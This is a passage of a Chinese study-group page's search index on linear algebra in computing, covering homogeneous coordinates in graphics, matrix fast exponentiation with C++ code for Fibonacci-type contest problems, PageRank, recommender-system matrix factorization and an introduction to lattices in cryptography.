    \u53ef\u4ee5\u60f3\u4e00\u60f3\u8fd8\u80fd\u4e0d\u80fd\u6109\u5feb\u7684\u5199\u6210\u4e00\u4e2a\u77e9\u9635\u5de6\u4e58\u7684\u5f62\u5f0f\u4e86\uff1f\u6211\u7b80\u6d01\u7684\u77e9\u9635\u5f62\u5f0f\u600e\u4e48\u6ca1\u6709\u4e86\uff1f \u53ea\u80fd\u5199\u6210\u5982\u4e0b\u5f62\u5f0f\uff1a $$ \\begin{bmatrix}x^{'}\\\\y^{'}\\end{bmatrix} = \\begin{bmatrix}a & b\\\\c&d\\end{bmatrix}\\begin{bmatrix}x\\ y\\end{bmatrix}+\\begin{bmatrix}t_x\\\\t_y\\end{bmatrix} $$ \u597d\u50cf\u5f88\u7b80\u5355\uff0c\u4f46\u662f\u8fd9\u5f62\u5f0f\u548c\u4e4b\u524d\u7684\u4e0d\u7edf\u4e00\u3002\u4e5f\u8868\u660e\u5e73\u79fb\u4e0d\u662f\u4e00\u4e2a\u5f88\u6b63\u7ecf\u7684\u7ebf\u6027\u53d8\u6362\u3002\u8fd9\u79cd\u4e0d\u7edf\u4e00\u7684\u5f62\u5f0f\u4e5f\u4e0d\u9002\u5408\u7a0b\u5e8f\u5458\u5077\u61d2\uff0c\u51ed\u5565\u540c\u6837\u662f\u4e8c\u7ef4\u53d8\u6362\uff0c\u5e73\u79fb\u5c31\u8981\u641e\u7279\u6b8a\uff1f

    \u7b54\u6848\u662f\u6709\u7edf\u4e00\u5f62\u5f0f\u7684\uff0c\u4f46\u662f\u4ee3\u4ef7\u662f\u4ec0\u4e48\u5462\uff1f\u8ba1\u7b97\u673a\u79d1\u5b66\u4e2d\u65f6\u95f4\u590d\u6742\u5ea6\u548c\u7a7a\u95f4\u590d\u6742\u5ea6\u66f4\u591a\u60c5\u51b5\u4e0b\u662f\u4e0d\u80fd\u540c\u65f6\u517c\u5f97\u7684\u3002

    \u8fd9\u6b21\u7b54\u6848\u5f88\u7b80\u5355\uff0c\u5c31\u662f\u628a\u539f\u5148\u7684 \\(2\\times2\\) \u7684\u77e9\u9635\u5347\u7ef4\uff0c\u53d8\u6210 \\(3\\times3\\) \u7684\u77e9\u9635\uff0c\u7528\u66f4\u591a\u7684\u8ba1\u7b97\u65f6\u95f4\u548c\u5b58\u50a8\u7a7a\u95f4\u6362\u53d6\u4e00\u4e2a\u66f4\u52a0\u7edf\u4e00\u7684\u8ba1\u7b97\u5f62\u5f0f\u3002

    \u9996\u5148\u5148\u8bb2\u4e00\u4e0b\u77e9\u9635\u5347\u7ef4\u4e4b\u540e\uff0c\u6211\u4eec\u5bf9\u539f\u6765\u4e8c\u7ef4\u7684\u70b9\u548c\u5411\u91cf\u505a\u4e86\u4e9b\u4ec0\u4e48\u3002 \u70b9 \\(dot = (x,\\ y,\\ 1)^{T}\\) \u5411\u91cf \\(vec = (x,\\ y,\\ 0)^{T}\\) 1\u548c0\u5728\u8fd9\u91cc\u8d77\u5230\u4e86\u4e00\u4e2a\u8868\u793a\u8eab\u4efd\u7684\u4f5c\u7528\uff0c\u540c\u65f6\uff0c\u5411\u91cf\u5177\u6709\u5411\u91cf\u4e0d\u53d8\u6027\uff0c\u56e0\u6b64\u672b\u5c3e\u4e3a 0 - \u5411\u91cf + \u5411\u91cf = \u5411\u91cf - \u5411\u91cf - \u5411\u91cf = \u5411\u91cf - \u70b9 - \u70b9 = \u5411\u91cf - \u70b9 + \u5411\u91cf = \u70b9 - \u70b9 + \u70b9 = \uff1f\uff08\u6839\u636e\u67d0\u79cd\u6269\u5145\u5b9a\u4e49\uff0c\u8868\u793a\u4e24\u4e2a\u70b9\u7684\u4e2d\u70b9\uff09

    \u6269\u5145\u5b9a\u4e49\u5982\u4e0b\uff1a\\((x,\\ y,\\ w)^T\\) \u662f\u8868\u793a\u4e8c\u7ef4\u7684\u70b9\\((x/w,\\ y/w,\\ 1)^T\\)

    \u56e0\u6b64\u7edf\u4e00\u5f62\u5f0f\u5982\u4e0b $$ \\begin{bmatrix}x^{'}\\\\y^{'}\\\\1\\end{bmatrix} = \\begin{bmatrix}a & b & t_x\\\\c&d&t_y\\\\0&0&1\\end{bmatrix}\\begin{bmatrix}x\\ y\\\\1\\end{bmatrix} $$ \u5e0c\u671b\u5199\u5230\u8fd9\u91cc\u80fd\u66f4\u597d\u7684\u5e2e\u4f60\u7406\u89e3\u5f88\u591a\u6559\u79d1\u4e66\u4e0a\u7a81\u7136\u5192\u51fa\u7684 \u56db\u5143\u6570 \u8fd9\u4e2a\u5947\u5999\u7684\u6982\u5ff5\uff0c\u56e0\u4e3a\u90a3\u662f\u5728\u4e09\u7ef4\u7a7a\u95f4\u4e2d\uff0c\u989d\u5916\u5347\u4e86\u4e00\u7ef4\u3002\uff0801\u4f5c\u4e1a\u5149\u6805\u5316\u5c55\u793a\uff09

    \u4f46\u662f\u8fd9\u8fdc\u8fdc\u4e0d\u662f\u56fe\u5f62\u5b66\uff0c\u4ed6\u53ea\u662f\u5165\u95e8\uff0c\u751a\u81f3\u95e8\u90fd\u6ca1\u6709\u5165\u3002\u66f4\u6df1\u4e00\u70b9\u7684\u6bd4\u5982\u6444\u50cf\u5934\u7684\u65cb\u8f6c\uff0c\u89c6\u56fe\u7684\u53d8\u6362\u90fd\u6ca1\u6709\u8bb2\u5230\uff0c\u8fd9\u4e9b\u4f9d\u65e7\u5c5e\u4e8e\u77e9\u9635\u53d8\u6362\u7684\u8303\u7574\uff0c6\u4e2a\u81ea\u7531\u5ea6\u5bfc\u81f4\u77e9\u9635\u8d8a\u6765\u8d8a\u96be\u5199\uff0c\u6240\u4ee5\u5bf9\u7ebf\u6027\u4ee3\u6570\u7684\u529f\u5e95\u63d0\u51fa\u4e86\u5f88\u9ad8\u7684\u8981\u6c42\u3002

    \u5149\u6805\u5316\uff0c\u5149\u7ebf\u8ffd\u8e2a\uff0c\u8f90\u5c04\u5ea6\u91cf\u5b66\uff0c\u57fa\u4e8e\u7269\u7406\u7684\u6e32\u67d3\uff0c\u4ee5\u53ca\u5230\u6700\u540e\u8fdb\u884c\u6e38\u620f\u5f15\u64ce\u7684\u5f00\u53d1\uff0c\u9700\u8981\u6570\u636e\u7ed3\u6784\uff0c\u9700\u8981\u7b97\u6cd5\uff0c\u9700\u8981\u4e3a\u4e86\u66f4\u903c\u771f\u7684\u56fe\u7247\u53bb\u69a8\u5e72GPU\u7684\u6027\u80fd\u3002\u8fd9\u90fd\u662f\u56fe\u5f62\u5b66\u3002

    \u4e2d\u56fd\u79d1\u6280\u5927\u5b66\u6709\u4e00\u5957\u5c5e\u4e8e\u81ea\u5df1\u7684\u56fe\u5f62\u5b66Lab\uff0c\u897f\u5b89\u4ea4\u901a\u5927\u5b66\u57282024\u5e74\u4e5f\u5728\u9010\u6b65\u5f00\u53d1\u81ea\u5df1\u7684\u56fe\u5f62\u5b66\u4f5c\u4e1a\u4ee3\u7801\u6846\u67b6\uff0c\u4e0a\u6d77\u4ea4\u901a\u5927\u5b66\u548c\u6d59\u6c5f\u5927\u5b66\u4f1a\u5728\u672c\u79d1\u9636\u6bb5\u8bb2\u4e00\u70b9\u8499\u7279\u5361\u6d1b\u6e32\u67d3\u7684\u5185\u5bb9\uff0c\u6b63\u89c6\u81ea\u5df1\u4e0e\u5176\u4ed6\u5b66\u6821\u672c\u79d1\u751f\u4e4b\u95f4\u7684\u5dee\u8ddd\uff0c\u52aa\u529b\u8fdb\u6b65\u3002

    \u56fe\u5f62\u5b66\u662f\u6982\u7387\u8bba\uff0c\u5fae\u79ef\u5206\uff0c\u7ebf\u6027\u4ee3\u6570\uff0c\u7269\u7406\u5b66\u90fd\u9700\u8981\u7684\u4e00\u95e8\u5b66\u79d1\uff0c\u53cd\u6b63\u611f\u89c9\u633a\u597d\u73a9\u7684\uff0c\u6bd4\u5982\u8499\u7279\u5361\u6d1b\u79ef\u5206\u3002

    talk is cheap, show me the code

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_12","title":"\u7b97\u6cd5","text":""},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_13","title":"\u77e9\u9635\u5feb\u901f\u5e42","text":""},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_14","title":"\u5feb\u901f\u5e42","text":"

    \u6c42 \\(a^b\\ mod\\ c\\) \u7684\u95ee\u9898\u3002 \u5f88\u591a\u4eba\u4f1a\u89c9\u5f97\u8fd9\u5f88\u7b80\u5355\uff0c\u4f46\u662f\u5982\u679c \\(b\\) \u5f88\u5927\u5462\uff1f $$ a^{2b} = (a^2)^b \\quad a^{2b+1} = a\\times (a^2)^b $$ \u5982\u6b64\u4e0d\u65ad\u7684\u4e8c\u5206\u4e0b\u53bb\u5c31\u53ef\u4ee5\u5f97\u5230\u7b54\u6848\uff0c\u7528\u5230\u7684\u4e5f\u662f\u4e8c\u5206\u7684\u601d\u60f3\u3002 \u4e3e\u4e2a\u4f8b\u5b50\u5427\uff0c\u6bd5\u7adf\u4e0a\u9762\u7684\u7b97\u5f0f\u8fd8\u662f\u592a\u62bd\u8c61\u4e86 $$ a^{13} = a^{(1101)_2} = a^8 \u00b7 a^4\u00b7a^1 $$ \u8fd9\u6837\u6211\u4eec\u53ea\u9700\u8981\u77e5\u9053 \\(a^1,a^2,...a^{2^n}\\) \u5c31\u53ef\u4ee5\u5feb\u901f\u7684\u7b97\u51fa \\(a^{2^{n+1}}\\) \u7684\u5e42\u6b21\u3002\u53ea\u9700\u8981\u5c06\u5bf9\u5e94\u4e8c\u8fdb\u5236\u4f4d\u4e3a 1 \u7684\u6574\u7cfb\u6570\u5e42\u4e58\u8d77\u6765\u5c31\u884c\u4e86\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a

    long long quick_pow(long long a, long long b)\n{ \n    long long res = 1; \n    while (b > 0) { \n        if (b & 1) res = res * a; \n        a = a * a; \n        b >>= 1; \n    } \n    return res; \n}\n
    \u53ef\u4ee5\u81ea\u5df1\u6839\u636e\u8fd9\u4e2a\u539f\u7406\u53bb\u641e\u641e\u5feb\u901f\u4e58\u6cd5\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_15","title":"\u77e9\u9635\u4e58\u6cd5","text":"

    \u61d2\u5f97\u8bb2\uff0c\u7ebf\u4ee3\u5e94\u8be5\u8fd8\u6ca1\u5fd8\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_16","title":"\u771f\u6b63\u7684\u77e9\u9635\u5feb\u901f\u5e42","text":"

    \u77e9\u9635\u5feb\u901f\u5e42\uff0c\u987e\u540d\u601d\u4e49\uff0c\u5c31\u662f \u77e9\u9635\u4e58\u6cd5 + \u5feb\u901f\u5e42\u3002\u597d\u7684\u6211\u8bb2\u5b8c\u4e86\uff08\u4e0d\u662f\uff09 \u4f46\u662f\u5f88\u591a\u4eba\u63a5\u89e6\u77e9\u9635\u5feb\u901f\u5e42\u5e94\u8be5\u662f\u5728\u8ba1\u7b97\u6590\u6ce2\u90a3\u5951\u6570\u5217\u90a3\u8fb9\u63a5\u89e6\u5230\u7684\uff0c\u7136\u800c\u5e76\u6ca1\u6709\u8fdb\u884c\u4e00\u4e2a\u6df1\u5165\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_17","title":"\u6590\u6ce2\u90a3\u5951\u6570\u5217","text":"

    \u4f46\u662f\u8fd8\u662f\u5148\u6e29\u4e60\u4e00\u4e0b\u6590\u6ce2\u90a3\u5951\u6570\u5217\u600e\u4e48\u7528\u77e9\u9635\u52a0\u901f\u6c42\u7684\uff0c\u521a\u624d\u8ba1\u7b97\u673a\u56fe\u5f62\u5b66\u7684\u4e1c\u897f\u5e0c\u671b\u8fd8\u6ca1\u6709\u5fd8\u5e72\u51c0 $$ \\begin{bmatrix}F_{n-1} & F_{n-2}\\end{bmatrix}\\begin{bmatrix}1&1\\\\1&0\\end{bmatrix} = \\begin{bmatrix}F_{n} & F_{n-1}\\end{bmatrix} $$

    \u5b9a\u4e49\u521d\u59cb\u77e9\u9635 \\(\\text{ans} = \\begin{bmatrix}F_2 & F_1\\end{bmatrix} = \\begin{bmatrix}1 & 1\\end{bmatrix}, \\text{base} = \\begin{bmatrix} 1 & 1 \\\\ 1 & 0 \\end{bmatrix}\u3002\\)

    \u90a3\u4e48\uff0c\\(F_n \u5c31\u7b49\u4e8e \\text{ans} \\text{base}^{n-2}\\) \u8fd9\u4e2a\u77e9\u9635\u7684\u7b2c\u4e00\u884c\u7b2c\u4e00\u5217\u5143\u7d20\uff0c\u4e5f\u5c31\u662f \\(\\begin{bmatrix}1 & 1\\end{bmatrix} \\begin{bmatrix} 1 & 1 \\\\ 1 & 0 \\end{bmatrix}^{n-2}\\)\u7684\u7b2c\u4e00\u884c\u7b2c\u4e00\u5217\u5143\u7d20\u3002

    const int mod = 1000000007;\n\nstruct Matrix {\n  int a[3][3];\n\n  Matrix() { memset(a, 0, sizeof a); }\n\n  Matrix operator*(const Matrix &b) const {\n    Matrix res;\n    for (int i = 1; i <= 2; ++i)\n      for (int j = 1; j <= 2; ++j)\n        for (int k = 1; k <= 2; ++k)\n          res.a[i][j] = (res.a[i][j] + a[i][k] * b.a[k][j]) % mod;\n    return res;\n  }\n} ans, base;\n\nvoid init() {\n  base.a[1][1] = base.a[1][2] = base.a[2][1] = 1;\n  ans.a[1][1] = ans.a[1][2] = 1;\n}\n\nvoid qpow(int b) {\n  while (b) {\n    if (b & 1) ans = ans * base;\n    base = base * base;\n    b >>= 1;\n  }\n}\n\nint main() {\n  int n = read();\n  if (n <= 2) return puts(\"1\"), 0;\n  init();\n  qpow(n - 2);\n  println(ans.a[1][1] % mod);\n}\n

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#hdu-1005-number-sequence","title":"HDU 1005 Number Sequence","text":"

    \\(\\text{\u7ed9\u51fa\u4e00\u4e2a\u6570\u5217\u5b9a\u4e49\u5982\u4e0b\uff1a}f(1)=1,f(2)=1,f(n)=Af(n-1)+Bf(n-2),\\text{\u8ba1\u7b97}f(n)\\) $$ \\begin{bmatrix}F(n-1) \\ F(n-2)\\end{bmatrix}\\begin{bmatrix}A&B\\\\1&0\\end{bmatrix} = \\begin{bmatrix}F(n) \\ F_(n-1)\\end{bmatrix} $$

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#lightoj-1070-algebraic-problem","title":"LightOJ 1070 Algebraic Problem","text":"

    \u7ed9\u51fa \\(a+b\\) \u548c \\(ab\\) \u7684\u503c\uff0c\u6c42\\(a^n+b^n\\) \u7b54\u6848\u5bf9 \\(2^{64}\\) \u53d6\u6a21

    \u5148\u8bf4\u6a21\u6570\uff0c\u8fd9\u4e2a\u6a21\u6570\u5f88\u597d\uff0c\u76f4\u63a5\u5f00 unsigned long long \u81ea\u7136\u6ea2\u51fa\u5c31\u53ef\u4ee5\u4e86\u3002\u867d\u7136\u53ef\u80fd\u4e0d\u5b89\u5168 $$ (a^n+b^n)(a+b)=(a^{n+1}+b^{n+1}+ab(a^{n-1}+b^{n-1})) $$ \u4e8e\u662f\uff0c\u4ee4 \\(A =a+b,B=ab,F(n) =a^n+b^n\\)\uff0c\u6709 $$ \\begin{bmatrix}A&-B\\\\1&0\\end{bmatrix}\\begin{bmatrix}F(n) \\ F(n-1)\\end{bmatrix} = \\begin{bmatrix}F(n+1) \\ F_(n)\\end{bmatrix} $$ \u6240\u4ee5\u8fd9\u4e5f\u662f\u4e00\u79cd\u8fed\u4ee3\u7684\u601d\u60f3\uff08\u725b\u987f\u8fed\u4ee3\u6cd5\u7b97\u6839\u53f7\uff09 \u77e9\u9635\u5feb\u901f\u5e42\u53ef\u4ee5\u7528\u6765\u52a0\u901f\u52a8\u6001\u89c4\u5212\uff0c\u8fd8\u6709\u5e7f\u4e49\u7684\u77e9\u9635\u4e58\u6cd5\u4ee5\u53ca\u8f6c\u79fb\u77e9\u9635\u7684\u76f8\u5173\u64cd\u4f5c\uff0c\u4f46\u662f\u8fd9\u91cc\u4e0d\u60f3\u6d89\u53ca\uff0c\u56e0\u4e3a\u6709\u70b9\u8d85\u7eb2\u4e86\uff0c\u6709\u7684\u8fd8\u662f\u63a7\u5236\u8bba\u90a3\u8fb9\u7684\u5185\u5bb9\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_18","title":"\u641c\u7d22\u5f15\u64ce","text":""},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_19","title":"\u7279\u5f81\u5411\u91cf","text":"

    \u5b9e\u9645\u4e0a\uff0c\u7279\u5f81\u5411\u91cf\u8fd8\u80fd\u7528\u6765\u6c42\u89e3\u5fae\u5206\u65b9\u7a0b\uff0c\u56e0\u4e3a\u79ef\u5206\u548c\u5fae\u5206\u90fd\u662f\u7ebf\u6027\u8fd0\u7b97\uff0c\u4f46\u662f\u8fd9\u91cc\u5c31\u4e0d\u5c55\u5f00\u4e86\u3002

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    Google \u6210\u529f\u7684\u79d8\u8bc0\uff1a\u4e3a\u4e92\u8054\u7f51\u4e0a\u6240\u6709\u7684\u9875\u9762\u91cd\u8981\u6027\u6392\u5e8f

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_20","title":"\u63a8\u8350\u7cfb\u7edf","text":"

    \u63a8\u8350\u7cfb\u7edf\uff1a\u5982\u4f55\u4e3a\u4f60\u9884\u6d4b\u5bf9\u5546\u54c1\u7684\u8bc4\u5206\uff1f

    Alice Bob Cathy Davy \u82f9\u679c 1 \uff1f 1 \uff1f \u6a59\u5b50 \uff1f \uff1f \uff1f 3 \u9999\u8549 3 \uff1f \uff1f \uff1f \u897f\u74dc 5 4 \uff1f \uff1f

    \u77e9\u9635\u5206\u89e3\uff1a\\(M_{m\\times n}=P_{m\\times k}\\times Q_{k\\times {n}}\\)\u200b \\(k\\)\u00a0\u662f\u9690\u85cf\u7684 \u201c\u7ef4\u5ea6\u201d (Latent factor model) - \u5982\u679c\u00a0\\(k\\)\u00a0\u5f88\u5c0f\uff0c\u6211\u4eec\u5c31\u6709\u8db3\u591f\u7684\u6570\u636e\u6c42\u89e3\u51fa \u201c\u6700\u5408\u9002\u201d \u7684\u00a0\\(P\\)\u00a0\u548c\u00a0\\(Q\\) - \u6bcf\u4e2a\u4eba\u5bf9\u7269\u54c1\u7684\u504f\u597d\u662f\u4e00\u7cfb\u5217\u7279\u5f81\u7684\u7ebf\u6027\u7ec4\u5408

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#crypto","title":"\u5bc6\u7801\u5b66 | Crypto","text":"

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    \u5148\u4ecb\u7ecd\u4e00\u4e0b\u683c\u5bc6\u7801\u7684\u6210\u5c31\uff08\uff1f\uff09 \u5df2\u7ecf\u516c\u5e03\u76844\u4e2aNIST\u6297\u91cf\u5b50\u6807\u51c6\u4f18\u80dc\u7b97\u6cd5\u4e2d\uff0c\u67093\u4e2a\u662f\u683c\u5bc6\u7801\uff0c\u5360\u6bd4\u8fbe\u5230\u4e86\u60ca\u4eba\u768475%\uff0c\u9065\u9065\u9886\u5148\u4e8e\u5176\u4ed6\u7b97\u6cd5\u3002\uff08\u622a\u6b62\u52302022\u5e749\u6708\uff09

    \u5728 7 \u4e2a\u6b63\u5f0f\u5165\u9009\u7b2c\u4e09\u8f6e\u7684\u7b97\u6cd5\u4e2d\uff0c\u67095\u4e2a\u90fd\u5c5e\u4e8e\u683c\u5bc6\u7801\u7684\u8303\u7574\uff0c\u800c\u4e0e\u6b64\u540c\u65f6\uff0c\u5728\u6211\u56fd2019\u5e74\u5bc6\u7801\u5b66\u4f1a\u4e3e\u529e\u7684\u540e\u91cf\u5b50\u5bc6\u7801\u7b97\u6cd5\u7ade\u8d5b\u4e2d\uff0c\u683c\u5bc6\u7801\u4e5f\u5728\u5176\u4e2d\u5360\u636e\u4e86\u76f8\u5f53\u5927\u7684\u6bd4\u4f8b\u3002

    \u8fd1\u4ee3\u683c\u5bc6\u7801\u7684\u65f6\u95f4\u7ebf

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#lattice","title":"\u683c | Lattice","text":""},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#lattice_1","title":"Lattice\u662f\u4ec0\u4e48\uff1f","text":"

    Lattice\u53ef\u4ee5\u88ab\u60f3\u8c61\u6210\u662f\u4e00\u4e2a\u7a7a\u95f4\u4e2d\u5f88\u591a\u6709\u89c4\u5f8b\u5206\u5e03\u7684\u3001\u79bb\u6563\u7684\u70b9\u3002 \\(n\\)\u7ef4\u7a7a\u95f4\u4e2d\u6700\u7b80\u5355\u7684 Lattice \u5c31\u662f Integer Lattice\uff08\u6574\u6570\u683c\uff09\u3002\u6574\u6570\u683c\u4e2d\u6700\u7b80\u5355\u7684\u5c31\u662f\u57fa\u4e8e\u7b1b\u5361\u5c14\u5750\u6807\u7cfb\u7684\\(i,j\\)...\u7b49\u57fa\u5411\u91cf\u7ec4\u6210\u7684\u7a7a\u95f4\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#latticebases","title":"Lattice\u4e0eBases\uff08\u683c\u4e0e\u57fa)","text":"

    \u66f4\u597d\u7684\u63cf\u8ff0\u4e00\u4e2a\u683c\u7684\u65b9\u6cd5\u662f\u4f7f\u7528\u57fa\u5411\u91cf\u3002

    \u6211\u4eec\u5047\u8bbe\u4e00\u4e2a\u683c\u62e5\u6709\u57fa\u5411\u91cf\\(b_1,b_2...b_n\\)\u3002\u90a3\u4e48\u8fd9\u4e2aLattice\u5c31\u662f\u5b83\u7684\u57fa\u5411\u91cf\u7684\u4efb\u610f\u7ebf\u6027\u7ec4\u5408\u7684\u96c6\u5408\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u628a\u6240\u6709\u57fa\u5411\u91cf\u7ec4\u5408\u6210\u77e9\u9635 \\(B\\) \u6765\u8868\u793a\u3002 \u6ce8\u610f\uff0c\u4e00\u4e2a\u683c\u53ef\u4ee5\u6709\u591a\u4e2a\u57fa\u5e95\uff0c\u4e0d\u662f\u4e00\u4e00\u5bf9\u5e94\u7684\u5173\u7cfb\u3002 \u5982\u679c\u7cfb\u7edf\u6027\u7684\u5b9a\u4e49\u4e00\u4e0bLattice\u7684\u8bdd\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u8bf4Lattice\u662f \\(R^n\\) \u8fd9\u4e2a\u7a7a\u95f4\u4e2d\u7684\u4e00\u4e2a\u79bb\u6563\u7684\u3001\u5177\u6709\u52a0\u6cd5\u8fd0\u7b97\u7684\u5b50\u7fa4\uff08A discrete additive subgroup\uff09\u3002

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    \u6211\u4eec\u77e5\u9053\uff0c\u5728\u4e00\u4e2a\u7ebf\u6027\u7a7a\u95f4\u91cc\u9762\uff0c\u4e00\u4e2a\u7a7a\u95f4 \\(V\\) \u7684 Determinant\uff08\u884c\u5217\u5f0f\uff09\\(det(V)\\) \u4ee3\u8868\u4e86\u8fd9\u4e2a\u7a7a\u95f4\u6240\u6709\u7684\u57fa\u5411\u91cf \\(b_i\\) \u6240\u7ec4\u6210\u7684\u51e0\u4f55\u4f53\u7684\u4f53\u79ef\u3002\u5728\u4e8c\u7ef4\u7a7a\u95f4\u91cc\uff0c\u4e24\u4e2a\u57fa\u5411\u91cf \\(b_1,b_2\\) \u7ec4\u6210\u7684\u5e73\u884c\u56db\u8fb9\u5f62\u7684\u9762\u79ef\u5c31\u662f\u8fd9\u4e2a\u7a7a\u95f4\u7684\u884c\u5217\u5f0f\u3002

    \u540c\u7406\u53ef\u5f97\uff0c\u4e00\u4e2aLattice\u7684\u884c\u5217\u5f0f\u4e5f\u662f\u4e00\u6837\u7684\u2014\u2014\u5bf9\u5e94\u7684\u57fa\u5411\u91cf\u6240\u7ec4\u6210\u7684\u5e73\u884c\u516d\u9762\u4f53\u7684\u4f53\u79ef\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#lattice_3","title":"Lattice \u7684\u5bc6\u5ea6","text":"

    \u6211\u4eec\u53ef\u4ee5\u7528\u4e00\u4e2aLattice\u7684Determinant\u6765\u8861\u91cf\u8fd9\u4e2a\u683c\u7684\u70b9\u9635\u5206\u5e03\u7684\u5bc6\u5ea6\u3002

    \u9996\u5148\uff0c\u6211\u4eec\u628a\u4e0a\u4e00\u90e8\u5206\u57fa\u5411\u91cf\u7ec4\u6210\u7684\u591a\u9762\u4f53\u7684\u4e2d\u5fc3\u632a\u5230\u539f\u70b9\u4e0a\u6765\u3002\u8fd9\u6837\uff0c\u7a7a\u95f4 \\(P\\) \u4ecd\u7136\u4fdd\u6301\u76f8\u540c\u7684\u4f53\u79ef\u3002

    \u968f\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u628a\u8fd9\u4e2a\u591a\u9762\u4f53\u590d\u5236\u591a\u4efd\uff0c\u7136\u540e\u5e73\u79fb\u5230\u6bcf\u4e00\u4e2aLattice\u4e2d\u7684\u70b9\u4e0a\u3002\u8fd9\u6837\u6211\u4eec\u5c31\u4f1a\u5f97\u5230\u5f88\u591a\u4efd \\(P\\)\uff0c\u5e76\u4e14\u8fd9\u4e9b\u591a\u9762\u4f53\u53ef\u4ee5\u5e73\u5206\u6574\u4e2a\u591a\u7ef4\u7a7a\u95f4 \\(R^n\\)\u3002

    \u6b64\u65f6\uff0c\u6211\u4eec\u5982\u679c\u5728\u8fd9\u4e2a\u7a7a\u95f4\u4e2d\u4efb\u610f\u7684\u753b\u4e00\u4e2a\u7403\u4f53\uff08\u591a\u7ef4\u7a7a\u95f4\u5373\u8d85\u7403\u4f53\uff09\uff0c\u7136\u540e\u53ef\u4ee5\u6570\u6570\u770b\u8fd9\u4e2a\u7403\u4f53\u4e2d\u8986\u76d6\u4e86\u591a\u5c11Lattice\u91cc\u7684\u70b9\u3002\u70b9\u7684\u6570\u91cf\u5e73\u5747\u4e8e\u7403\u4f53\u7684\u4f53\u79ef\uff0c\u5c31\u662f\u8fd9\u4e2a\u683c\u7684\u5bc6\u5ea6\u4e86\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_21","title":"\u6700\u77ed\u8ddd\u79bb","text":"

